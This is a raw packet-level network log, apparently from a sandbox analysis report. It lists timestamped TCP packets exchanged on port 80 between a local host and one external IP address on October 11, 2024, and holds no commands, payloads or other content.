Oct 11, 2024 22:32:36.511995077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512005091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512022972 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512025118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512042999 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512063980 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512074947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512085915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512101889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512115955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512124062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512130976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512147903 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512151957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512161970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512166977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512186050 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512187004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512200117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512202024 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512216091 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512221098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512231112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512233973 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512250900 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512252092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512264967 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512267113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512281895 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512281895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512298107 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512301922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512311935 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512316942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512332916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512334108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512348890 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512350082 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512362957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512371063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512378931 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512392044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512402058 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512418985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512425900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512433052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.512450933 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.512465954 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.977858067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.977927923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.977957964 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.977977991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.977998972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978008032 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978023052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978045940 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978053093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978074074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978079081 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978096962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978107929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978116035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978131056 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978137970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978154898 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978157043 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978169918 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978183985 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978192091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978210926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978230000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978244066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978256941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978264093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978277922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978297949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978308916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978318930 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978332996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978338957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978355885 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978360891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978370905 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978385925 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978399992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978406906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978425980 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978426933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978441000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978449106 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978455067 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978471041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978490114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978501081 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978511095 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978523970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978532076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978549004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978550911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978559971 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978573084 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978579044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978594065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978612900 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978626013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978640079 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978647947 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978668928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978672028 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978689909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978698969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978709936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978728056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978743076 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978745937 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978764057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978770018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978789091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978790045 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978801966 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978810072 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978816986 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978833914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978838921 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978853941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978863955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978874922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978883028 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978894949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978903055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978915930 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.978950024 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.978960037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979005098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979039907 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.979049921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979094028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979129076 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.979152918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979202032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979238987 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.979245901 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979290962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979330063 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.979351044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979424000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979465961 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.979469061 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979531050 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979568958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.979579926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979625940 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979662895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.979685068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979729891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979767084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.979773045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979832888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979870081 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.979876995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979922056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979957104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.979962111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.979995012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.980021954 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980067015 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980107069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.980108976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980154037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980192900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.980199099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980247974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980283976 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.980290890 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980335951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980372906 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.980379105 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980424881 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980460882 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.980468035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980513096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980550051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.980556011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980600119 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980634928 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.980647087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980679989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.980691910 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980751038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980788946 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.980794907 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980837107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980873108 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.980879068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980925083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.980962992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.980969906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981014013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981055975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.981057882 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981105089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981141090 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.981148958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981193066 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981230021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.981236935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981282949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981317997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.981327057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981370926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981406927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.981416941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981462002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981496096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.981507063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981550932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981586933 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.981594086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981627941 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.981638908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981683016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981717110 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.981726885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981770992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981817007 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.981817961 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981862068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981897116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.981905937 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981940031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.981950998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.981995106 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982028961 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.982038975 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982083082 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982117891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.982125998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982170105 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982204914 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.982213974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982245922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.982260942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982306957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982342958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.982350111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982394934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982419014 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.982438087 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.982439995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982484102 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.982487917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982532024 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982575893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982577085 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.982621908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982661963 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.982664108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982703924 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.982709885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982754946 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982793093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.982799053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982842922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982883930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.982887030 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982925892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.982933044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.982976913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983016968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.983020067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983052969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.983064890 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983098030 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.983109951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983154058 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983181953 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.983201027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983201981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.983246088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983264923 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.983277082 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.983293056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983328104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.983338118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983401060 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983445883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983448029 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.983489037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.983491898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983537912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983582020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983582973 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.983628035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983666897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983716011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983731031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.983760118 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.983760118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983805895 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983833075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.983850002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983851910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.983894110 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.983899117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983946085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.983984947 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.983990908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984035015 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984076023 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.984080076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984117031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.984123945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984169006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984211922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.984213114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984258890 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984302998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984303951 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.984349966 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984354973 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.984401941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984437943 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.984446049 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984489918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984529972 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.984534025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984572887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.984580040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984625101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984664917 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.984671116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984715939 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984716892 CEST	49707	80	192.168.2.8	45.66.249.162
